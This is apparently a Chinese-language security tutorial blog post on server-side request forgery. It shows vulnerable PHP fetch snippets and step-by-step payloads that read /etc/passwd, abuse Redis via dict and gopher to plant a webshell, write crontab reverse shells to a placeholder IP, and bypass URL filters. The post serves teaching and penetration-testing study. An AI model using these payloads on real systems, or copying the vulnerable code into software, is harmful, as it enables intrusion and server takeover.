web漏洞之SSRF

一、基础概念

服务端请求伪造(SSRF)是一种攻击者通过构造恶意请求,诱导服务器向非预期目标发起网络请求的安全漏洞。攻击者利用存在漏洞的服务器作为代理,绕过访问限制,访问内部资源或第三方系统,可能导致敏感信息泄露、内网探测、甚至远程代码执行。

攻击目标:一般是外网无法直接访问的内部系统。

二、漏洞原理

2.1 漏洞原因

  1. 用户可控数据:应用程序接收用户提供的 url 或域名(例如图片下载、API 调用、网页预览功能)。
  2. 服务器发起请求:服务器未严格校验用户数据,直接向该 url 发起 HTTP、FTP、Gopher 等协议请求。
  3. 访问非授权资源:攻击者通过篡改数据,使服务器访问内网服务(如数据库、管理后台)、本地文件(file://协议)或云元数据接口(如 AWS/Aliyun 的元数据服务)。

2.2 漏洞攻击场景

  1. 内网探测:扫描内网IP和端口,识别存活服务(如Redis、MySQL)。
  2. 敏感信息泄露:访问云服务器元数据(如http://169.254.169.254/获取临时密钥)。
  3. 协议滥用
    • 使用file://协议读取服务器本地文件(如file:///etc/passwd)。
    • 利用gopher://协议构造任意TCP流量攻击内网服务(如Redis未授权访问)。
  4. 绕过防御:通过服务器IP绕过IP白名单限制或身份认证。

三、漏洞产生

漏洞产生的相关函数

  1. file_get_contents()
  2. fsockopen()
  3. curl_exec()
  4. fopen()
  5. readfile()

3.1 file_get_contents()

1
2
3
4
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

**file_get_content**函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

3.2 fsockopen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

**fsockopen**函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

3.3 curl_exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

**curl_exec**函数用于执行指定的cURL会话

四、漏洞利用

4.1 ssrf 端口探测

  • http 协议探测
1
http://localhost/ssrf.php?url=http://127.0.0.1:6379
  • dict 协议探测
1
http://localhost/ssrf.php?url=dict://127.0.0.1:6379

4.2 ssrf 任意文件读取

  • file 协议读取任意文件
1
http://localhost/ssrf.php?url=file:///etc/passwd

4.3 dict 协议利用

4.3.1 dict 协议读取 redis 版本信息

1
http://localhost/ssrf.php?url=dict://127.0.0.1:6379/info

4.3.2 dict 协议利用 redis 写文件

以下方法可以实现修改文件内容、新建文件写入内容;

  1. 通过info探测是否设置口令
1
?url=dict://127.0.0.1:6379/info

出现类似NOAUTH Authentication required等字样就是设置有口令,可以通过弱口令爆破进行认证

1
?url=dict://127.0.0.1:6379/auth:$123456$
  1. 更改 rdb 文件的目录至需要写文件的目录
1
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
  1. 将 rdb 文件名 dbfilename 修改为写入的文件名 webshell.php
1
?url=dict://127.0.0.1:6379/config:set:dbfilename:webshell.php
  1. 写入内容到dbfilename中,如果内容存在过滤或者转义,可以利用 16 进制内容写入
1
?url=dict://127.0.0.1:6379/config:set:webshell.php:<?php phpinfo();?>
  1. 保存写入的内容
1
?url=dict://127.0.0.1:6380/save

4.3.3 dict 配置定时任务反弹 shell

要求系统存在cron,且知道其相应的配置文件,假设配置文件为/etc/crontab,与上述写文件相似,将定时任务写到/etc/crontab

1
2
3
4
5
6
?url=dict://127.0.0.1:6379/flushall
?url=dict://127.0.0.1:6379/auth:123456
?url=dict://127.0.0.1:6379/config:set:dir:/etc/
?url=dict://127.0.0.1:6379/config:set:dbfilename:crontab
?url=dict://127.0.0.1:6379/config:set:crontab:\n\n* * * * * root bash -i >& /dev/tcp/xx.xx.xxx.xx/4444 0>&1\n\n
?url=dict://127.0.0.1:6379/save

4.4 gopher 协议利用

相关工具和资料

  1. https://github.com/firebroo/sec_tools/tree/master
  2. https://github.com/tarunkant/Gopherus
  3. https://zhuanlan.zhihu.com/p/112055947

4.4.1 gopher 发送 GET 数据包

通过gopher发送get请求,请求数据包内容如下:

1
2
GET /b.php?q=1 HTTP/1.1 
Host: 192.168.47.244

gopher发送get请求方法

1
2
3
4
5
//url编码前的内容
gopher://192.168.47.244:80/_GET /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
//url编码后的内容
gopher://192.168.47.244:80/_GET%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0A%0D%0A

4.4.2 gopher 发送 POST 数据包

通过gopher发送post请求,请求数据包内容如下:

1
2
3
4
5
6
POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname

gopher发送post请求

1
2
3
4
5
6
7
8
9
10
//url编码前的内容
gopher://192.168.47.244:80/_POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname

//url编码后的内容
gopher://192.168.47.244:80/_POST%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%208%0D%0A%0D%0Aq%3DMyname

4.4.3 gopher 利用 redis 写文件

这里我们主要运用一下项目https://github.com/firebroo/sec_tools/tree/master

redis TCP Stream 数据读取内容编排方式

1
2
3
4
5
6
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

与 dict 协议利用 redis 类似,也是通过 redis 实现写文件的,但是需要将 redis 的命令编写为 TCP Stream 的形式,这部分借助写好的工具脚本即可

redis.cmd文件为需要执行的redis命令,一行一条命令, e.g.

1
2
3
4
5
6
7
8
9
10
# 刷新缓存
flushall
# 更改 rdb 文件的目录至需要写文件的目录
config set dir /tmp
# 将 rdb 文件名 dbfilename 修改为写入的文件名 webshell.php
config set dbfilename webshell.php
# 写入内容到dbfilename中,如果内容存在过滤或者转义,可以利用 16 进制内容写入
set 'webshell' '<?php phpinfo();?>'
# 保存写入的内容
save

得到的payload

1
%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

只需要在payload前面加上需要攻击机器的gopher://ip:port/_使用curl就行,最终payload

1
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

4.4.4 gopher 配置定时任务反弹 shell

运用一下项目https://github.com/firebroo/sec_tools/tree/master

在 redis.cmd 文件输入自己需要执行的命令

1
2
3
4
5
flushall
config set dir /etc/
config set dbfilename crontab
config set crontab \n\n* * * * root bash -i >& /dev/tcp/xx.xx.xxx.xx/44444 0>&1 \n\n
save

得到 tcp 数据流后利用 gopher 协议发送即可。

五、ssrf 常见绕过方式

5.1 常用绕过方法

  1. @绕过;例如:http://abc.com@127.0.0.1
  2. 添加端口号;例如:http:127.0.0.1:8080
  3. 短地址;例如:https://0x9.me/cuGfD

推荐:http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/

  1. 可以指向任意ip的域名;例如:xip.io
  2. ip地址转换成进制来访问;例如:192.168.0.1=3232235521(十进制)
  3. 非HTTP协议;
  4. DNS Rebinding;
  5. 利用[::]绕过;例如:http://[::]:80 == http://127.0.0.1:80
  6. 句号绕过;例如:127。0。0。1 == 127.0.0.1
  7. 利用302跳转绕过;

5.2 常见限制

  1. 限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@;

利用http://www.xxx.com@www.xxc.com == http://www.xxc.com进行绕过

  1. 限制请求IP不为内网地址

当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

  1. 限制请求只为http协议

(1)采取302跳转

(2)采取短地址

参考链接

  1. https://www.cnblogs.com/miruier/p/13907150.html
  2. https://www.freebuf.com/articles/web/333318.html

web漏洞之SSRF
http://candyb0x.github.io/2025/02/20/web漏洞之SSRF/
作者
Candy
发布于
2025年2月20日
更新于
2025年2月20日
许可协议